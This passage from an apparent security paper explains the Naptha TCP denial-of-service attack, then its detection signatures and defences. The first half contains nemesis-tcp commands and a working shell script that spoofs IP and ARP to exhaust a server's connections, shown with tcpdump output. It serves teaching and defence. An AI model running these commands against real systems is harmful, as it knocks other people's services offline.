11:25:05.775829 192.168.3.15.12345 > 192.168.1.10.79: S 420:420(0) win 512 (DF) [tos
0x18]
```

Figure 5.6   tcpdump output showing crafted SYN packet

5.3 Generation of spoofed ACK packets

The generation of the ACK packet requires the use of an acknowledgement number derived from the Initial Sequence Number (ISN) sent by the victim. This can actually be performed from the command line using tcpdump and some fast finger work. The exact nemesis-tcp command and the resulting command line output is shown in figure 5.7.

```
[root@eve2 /root]# /usr/local/sbin/nemesis-tcp -v -S 192.168.3.15 -x 12345 -D
192.168.1.10 -y 79 -fA -a 3604840995

TCP Packet Injection -=- The NEMESIS Project 1.1
(c) 1999, 2000 obecian <obecian@celerity.bartoli.org>

[IP]  192.168.3.15 > 192.168.1.10
[Ports] 12345 > 79
[Flags]  ACK
[TCP Urgent Pointer] 2048
[Window Size] 512
[ACK number] 3604840995
[IP ID] 0
[IP TTL] 254
[IP TOS] 0x18
[IP Frag] 0x4000
[IP Options]
Wrote 40 bytes

TCP Packet Injected
[root@eve2 /root]#
```

Figure 5.7   Command for generating a basic ACK packet with nemesis-tcp

The output from tcpdump (figure 5.8) shows the SYN,ACK packet sent by the victim and the resulting spoofed ACK packet sent back by the attacker. Notice that the acknowledgement number is the ISN from the victim plus 1. At this point, the TCP three-way handshake has been completed and the victim thinks that there is a connection established to the spoofed IP address.

```
[root@eve2 /root]# tcpdump host 192.168.3.15
tcpdump: listening on xl0
11:25:05.776778 192.168.1.10.79 > 192.168.3.15.12345: S 3604840994:3604840994(0) ack 421
win 4128 <mss 1460> [tos 0x18]
11:25:06.794884 192.168.3.15.12345 > 192.168.1.10.79: . ack 3604840995 win 512 (DF) [tos
0x18]
```

Figure 5.8 tcpdump output showing SYN,ACK from the victim and the resulting crafted ACK packet

5.4 Putting it all together

Crafting packets manually from the UNIX command line can be tricky, especially if it is necessary to respond quickly to ISNs in the SYN,ACK packet from the victim. A better approach would be to create a wrapper program to automate the sequencing of the required tasks. The shell script in figure 5.9 is a very basic wrapper program, which is capable of performing the steps necessary to create "connections" between the spoofed IP address and the victim system.

```
#!/bin/sh
#
# Set VICTIM_IP and GATEWAY_IP to the same address if the attacker is on the
# same network as the victim
#
VICTIM_IP=192.168.1.10
GATEWAY_IP=192.168.3.1
VICTIM_PORT=79
SPOOFED_MAC=de:ad:50:50:de:ad
SPOOFED_IP=192.168.3.15
SPOOFED_PORT_MIN=1024
SPOOFED_PORT_MAX=2048
#
# Take care of ARP for a few minutes by generating an ARP reply every 30 seconds
#
let x=0; while [ x -lt 20 ]; do /usr/local/sbin/nemesis-arp -S $SPOOFED_IP -D
$GATEWAY_IP -T -d xl0 -H $SPOOFED_MAC; let x=$x+1; sleep 30; done &
sleep 1
#
SPOOFED_PORT=$SPOOFED_PORT_MIN
while [ $SPOOFED_PORT -lt $SPOOFED_PORT_MAX ]; do
    #
    # Generate spoofed SYN packet
    #
    /usr/local/sbin/nemesis-tcp -S $SPOOFED_IP -x $SPOOFED_PORT -D $VICTIM_IP -y
$VICTIM_PORT -fS &
```

```
    #
    # Get the Initial Sequence Number from the SYN,ACK sent by the victim
    #
    SYN=`/usr/sbin/tcpdump -c 1 -n -i xl0 tcp and src $VICTIM_IP and dst $SPOOFED_IP |
/usr/bin/cut -f6 -d " " | cut -f2 -d ":" | cut -f1 -d "("`
    #
    # "Calculate" the acknowledgement number
    #
    let "ACK = $SYN + 1"
    #
    # Generate the spoofed ACK packet
    #
    /usr/local/sbin/nemesis-tcp -S $SPOOFED_IP -x $SPOOFED_PORT -D $VICTIM_IP -y
$VICTIM_PORT -fA -a $ACK
    #
    let "SPOOFED_PORT = $SPOOFED_PORT + 1"
    #
done
#
exit 0
```

Figure 5.9   Basic wrapper program for performing a Naptha attack

It should be emphasized that this is an extremely crude script that was created by the author, solely for the purpose of demonstrating the principles of a Naptha attack, i.e. it is to be used for educational purposes only. There are several issues that need to be mentioned.

- The tcpdump output that results from running the script sometimes reveals some extra SYN,ACK packets from the victim to the spoofed address prior to the final ACK being sent from the spoofed address to the victim. This is due to the fact that the generation of the spoofed ACK packet relies on tcpdump, which introduces a level of latency well beyond that encountered in connections that use real TCP/IP stacks. As a result, the victim's system resends the SYN,ACK packet until it receives the spoofed ACK packet.
- The script does not handle unexpected responses from the victim's system because it only expects a SYN,ACK from the victim to the spoofed address, i.e. it will always respond with an ACK packet.
- The script always generates the same ISN (420) in the spoofed SYN packet.
- The TCP source port number is allocated sequentially, which means that it is not very stealthy. However, this is not a great concern as this is only an educational tool.

Crude as it is, the script was successful in creating a connection to the finger port on a Solaris system, i.e. a netstat -an command on the UNIX command line showed an ESTABLISHED connection state between the victim and the spoofed IP address. Figure 5.10 shows a portion of the tcpdump output that resulted from running the basic Naptha attack script against the finger service on a system running Solaris 2.6. It shows that the TCP three-way handshake was successful.

```
[root@eve /root]# tcpdump -n -S host 192.168.1.15
tcpdump: listening on xl0
14:39:56.257572 arp reply 192.168.1.15 (de:ad:50:50:de:ad) is-at de:ad:50:50:de:ad
14:39:57.345040 192.168.1.15.1024 > 192.168.1.10.79: S 420:420(0) win 512 (DF) [tos
0x18]
14:39:57.345518 192.168.1.10.79 > 192.168.1.15.1024: S 484155013:484155013(0) ack 421
win 9112 <mss 536> (DF)
14:39:58.345421 192.168.1.15.1024 > 192.168.1.10.79: . ack 484155014 win 512 (DF) [tos
0x18]
14:39:58.345804 192.168.1.10.79 > 192.168.1.15.1024: . ack 421 win 9112 (DF)
```

Figure 5.10 Portion of a tcpdump output of a Naptha attack against finger on a Solaris system

With slight modification, the Naptha attack script was run against an Apache web server on a system running Solaris 2.8. This demonstrates that another application can respond quite differently to the same stimulus. The tcpdump output for this attack is shown in figure 5.11.

```
[root@eve /root]# tcpdump -n -S -p host 192.168.1.15
tcpdump: listening on xl0
15:08:59.523727 arp reply 192.168.1.15 (de:ad:50:50:de:ad) is-at de:ad:50:50:de:ad
15:09:00.535940 192.168.1.15.1025 > 192.168.1.10.80: S 420:420(0) win 512 (DF) [tos
0x18]
15:09:00.536550 192.168.1.10.80 > 192.168.1.15.1025: S 655722204:655722204(0) ack 421
win 24656 <mss 1460> (DF)
15:09:03.897648 192.168.1.10.80 > 192.168.1.15.1025: S 655722204:655722204(0) ack 421
win 24656 <mss 1460> (DF)
15:09:04.585476 192.168.1.15.1025 > 192.168.1.10.80: . ack 655722205 win 512 (DF) [tos
0x18]
15:09:04.585880 192.168.1.10.80 > 192.168.1.15.1025: . ack 421 win 24656 (DF)
15:14:06.411436 192.168.1.10.80 > 192.168.1.15.1025: F 655722205:655722205(0) ack 421
win 24656 (DF)
```

Figure 5.11 Portion of a tcpdump output of a Naptha attack against an Apache web server on a Solaris 2.8 system

The first three entries of the tcpdump output follow the expected sequence of events for establishing a TCP connection. The fourth line (in bold), which is a duplicate SYN,ACK from the victim, is a result of the crude nature of the wrapper script. Between lines six and seven, over five minutes passes while the connection is stalled in the ESTABLISHED state. At this point, the application closes and the TCP/IP stack on the victim system sends a FIN packet in an attempt to close the connection. At this point, the connection moves into the FIN WAIT-1 state. Although not shown, several more FIN packets are sent by the victim - each of which goes unacknowledged - until the connection is timed out. In this case, a Naptha attack would only be successful if the connection rate was such that resources are exhausted before connections time out.

6. Signature of the Naptha attack

Signatures for network-based attacks such as Naptha are usually provided in the form of a 'fingerprint' for a network Intrusion Detection System (IDS). Examination of the TCP and IP parameters used by nemesis to create the spoofed packets reveals certain characteristics that could potentially be used in an attack signature. For example, the spoofed SYN packet generated by nemesis always has the same values for the parameters shown in bold in figure 6.1.

```
[root@eve /root]# /usr/local/sbin/nemesis-tcp -S 192.168.3.15 -x 12345 -D 192.168.1.10 -
y 23 -fS
TCP Packet Injection -=- The NEMESIS Project 1.1
(c) 1999, 2000 obecian <obecian@celerity.bartoli.org>

[IP]  192.168.3.15 > 192.168.1.10
[Ports] 12345 > 23
[Flags]  SYN
[TCP Urgent Pointer] 2048
[Window Size] 512
[Sequence number] 420
[IP ID] 0
[IP TTL] 254
[IP TOS] 0x18
[IP Frag] 0x4000
[IP Options]
Wrote 40 bytes

TCP Packet Injected
[root@eve /root]#
```

Figure 6.1 "Signature" for spoofed SYN packet

It should be noted that it does not require much effort to change the values of these parameters, so the signature in figure 6.1 would not be very useful.

Another approach that could be taken is to look for inappropriate packets on the network. In the example of a "real world" distributed attack, a packet containing a source IP address that was not expected on the network would be considered inappropriate and worth investigating. So, in the example scenario shown in figure 4.5, there really should be no reason to see packets containing a source IP address of 192.168.3.15 on the 192.168.1.0 network.

In a tightly controlled network, a Naptha attack would be easy to detect because the spoofed IP and MAC addresses would immediately be recognized as addresses that are not officially in use.

Rather than focusing on the contents of individual packets, we could take a broader view and look for patterns in the packets on the network. During a Naptha attack we may see:

- High numbers of connections to a particular service on a system.
- ARP replies without an associated ARP request.
- A system or systems that only send one SYN and one ACK packet and then remain silent with respect to a particular connection.
- A system that ignores packets on an "ESTABLISHED" connection to a service on a particular system, but readily creates new connections to the same service on that system.

Detecting a Naptha attack could be difficult if a single method of detection is relied upon. However, using all or a combination of the above approaches may increase the chances of detection and decrease the chance of false alarms. It should be borne in mind that detection could be very difficult if a DDoS style Naptha attack was carried out by hundreds of systems. Packets involved in the attack would be hidden amongst other network traffic, making them difficult to spot.

Although a Naptha attack is network-based, it may be more productive to take a host-based approach to detection. During a Naptha attack we may see:

- A significant departure from baseline system performance.
- A significant increase in the number of running processes, particularly a large number of processes associated with one service or application.
- A significant increase in the number of ESTABLISHED connections, particularly associated with one service or application.
- A large number of connections in the FIN WAIT-1 or other more transitory states.
- An increase in the rate at which TCP connections are established.
- An increase in the time that TCP connections remain in the ESTABLISHED or FIN WAIT-1 state.
- TCP connections being established from systems that would not normally be associated with the system in question.
- Abnormal entries in log files, as defence mechanisms come into play. e.g. TCP connection thresholds exceeded.

Before expending large amounts of effort on detection, we would be wise to invest time in the protection of our systems.

7. How to protect against a Naptha attack

As always, the best approach to protecting against an attack such as Naptha is to use defence in depth, i.e. use multiple layers of security so that if any one mechanism is ineffective, other mechanisms can work together. As well as protecting systems from becoming the victims of an attack, it is important to prevent systems from being compromised and used as the base from which attacks are launched.

There are several network and host-based countermeasures that may be helpful in preventing or mitigating the effects of Naptha attacks.

Keep OS and application patches up-to-date. This is especially important when the patches fix known security vulnerabilities. To quote Stephen Northcutt of SANS, "vulnerabilities are the gateways by which threats are made manifest".

Limit the services that run on systems. The default configuration of many operating systems often enables services that are not needed by the users of the system. By virtue of being in a listening state, a running service provides the opportunity for an attacker to attempt a Naptha attack. Hardening scripts and step-by-step guides are available for a number of operating systems and address the issue of shutting down unnecessary services.

Limit access to services running on systems. Where appropriate, access control mechanisms such as network or host-based firewalls, router ACLs, programs like TCP Wrapper or application level controls can be used to restrict network access. Implementing controls at the subnet level would restrict the source of an attack, but there would still be an opportunity for a Naptha attack to occur. Finer granularity can be achieved by specifying individual hosts that are permitted to access the system or services on that system.

Limit the number of connections or spawned processes. Where possible, configure systems to limit the number of connections that can be made to a service or application, or limit the number of processes that can be spawned. Although resources will be consumed during a Naptha attack, it may prevent the system from crashing and provide it with the opportunity to recover.

Implement ingress and egress filtering. Routers and firewalls should be configured to implement ingress and egress filters in order to prevent IP spoofing across networks. For example, an egress filter would prevent a spoofed source address of 192.168.3.15 from leaving the 192.168.2.0 network and an ingress filter would prevent a spoofed source address of 192.168.1.15 from entering the 192.168.1.0 network. While this measure alone will not prevent all IP spoofing, it would limit the flexibility of DDoS style Naptha attacks, which would possibly make it easier to track down the source of an attack.

Implement switched Ethernet LANs with tight security policy. Until the likes of Dug Song came along with dsniff, most packet sniffing attempts would have been thwarted by the implementation of a switched Ethernet environment. However, dsniff and other tools come bundled with programs that are able to perform ARP spoofing on switches that are implemented with no security policy. A good start with securing a switch is to disable unused ports in order to prevent unauthorized connection to the network. Many Ethernet switches have the ability to implement security controls so that only registered MAC addresses are able to transmit and receive data through a particular port on the switch. This would prevent an attacker from spoofing MAC addresses, but it would not prevent an attacker from sending unsolicited ARP replies that advertise a spoofed IP address at the real MAC address of the attacker's system.

Implement static ARP tables. Although good switched Ethernet security policy can prevent spoofed MAC addresses appearing on the network, as mentioned, registered MAC addresses may be used in unsolicited ARP replies. Although some systems do not accept unsolicited ARP replies, it is still possible for someone bent on carrying out a Naptha attack to take care of ARP, simply by responding to ARP request packets from the victim or default gateway and providing the appropriate solicited reply. A possible countermeasure is to implement static ARP tables, which map legitimate IP addresses to legitimate MAC addresses. However, this is time consuming and may not be possible on all systems.

Deploy virus detection software and tools to detect unauthorized changes to files. The use of anti-virus software and cryptographic checksum tools will reduce the risk of desktop and server systems being compromised and used as a base for launching Naptha attacks. Use of software that detects unauthorized changes to files may also be helpful in restoring compromised systems to normal function.

Scan for trojans. Scanning systems for trojans will help find compromised systems and reduce the risk of them being used for Naptha or other attacks. When a compromised system is found, it should be handled by the incident response team in the appropriate manner.

Examine log files. Regular inspection of log files may reveal evidence of attacks against systems or intrusions into systems that are being used to launch attacks. Taken a stage further, log watching software can be used to generate alerts when abnormal entries appear in log files.

Implement Intrusion Detection Systems. Intrusion Detection Systems can provide early warning of attacks by detecting attack signatures and looking for changes in network traffic patterns.

Implement system performance monitoring. Observing system performance and establishing baselines for ordinary activity can be useful in order to gauge unusual levels of CPU and memory usage.

Implement incident handling procedures. If all else fails, an incident response team with clearly defined responsibilities and procedures can help to minimize the damage caused by an attack.

8. Additional information

"BindView Uncovers Major "Naptha" Security Vulnerability in Multiple Operating Systems". BindView press release, November 30, 2000. URL: http://www.bindview.net/news/display.cfm?AREA=10&Release=/2000/1130.txt

Common Vulnerabilities and Exposures list, CAN-2000-1039. URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-1039

"The Naptha DoS vulnerabilities". BindView RAZOR Security Team advisory, November 30, 2000. URL: http://razor.bindview.com/publish/advisories/adv_NAPTHA.html

CERT® Advisory CA-2000-21, "Denial-of-Service Vulnerabilities in TCP/IP Stacks". November 30, 2000. URL: http://www.cert.org/advisories/CA-2000-21.html

W. Richard Stevens. "TCP/IP Illustrated, Volume 1: The Protocols". January 1994. Addison-Wesley Pub Co; ISBN: 0201633469.

RFC 793: "TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAM PROTOCOL SPECIFICATION. September 1981. URL: http://www.faqs.org/rfcs/rfc793.html

Common Vulnerabilities and Exposures list, CVE-1999-0116. URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0116

daemon9 (pseud.) / route (pseudo.) / infinity (pseudo.). "IP-spoofing Demystified (Trust-Relationship Exploitation)". Phrack Magazine Volume Seven, Issue Forty-Eight. URL: http://phrack.infonexus.com/search.phtml?view&article=p48-14

Robert Graham. "Sniffing (network wiretap, sniffer) FAQ". Version 0.3.3, September 14, 2000. URL: http://www.robertgraham.com/pubs/sniffing-faq.html

David C. Plummer. RFC 826: "An Ethernet Address Resolution Protocol". November 1982. URL: http://www.faqs.org/rfcs/rfc826.html

Volobuev, Yuri. "Playing redir games with ARP and ICMP". 19 September 1997. URL: http://www.insecure.org/sploits/arp.games.html

sil (pseud.). Nemesis Tool Review. June 2, 2000. URL: http://antioffline.com/nemesis.html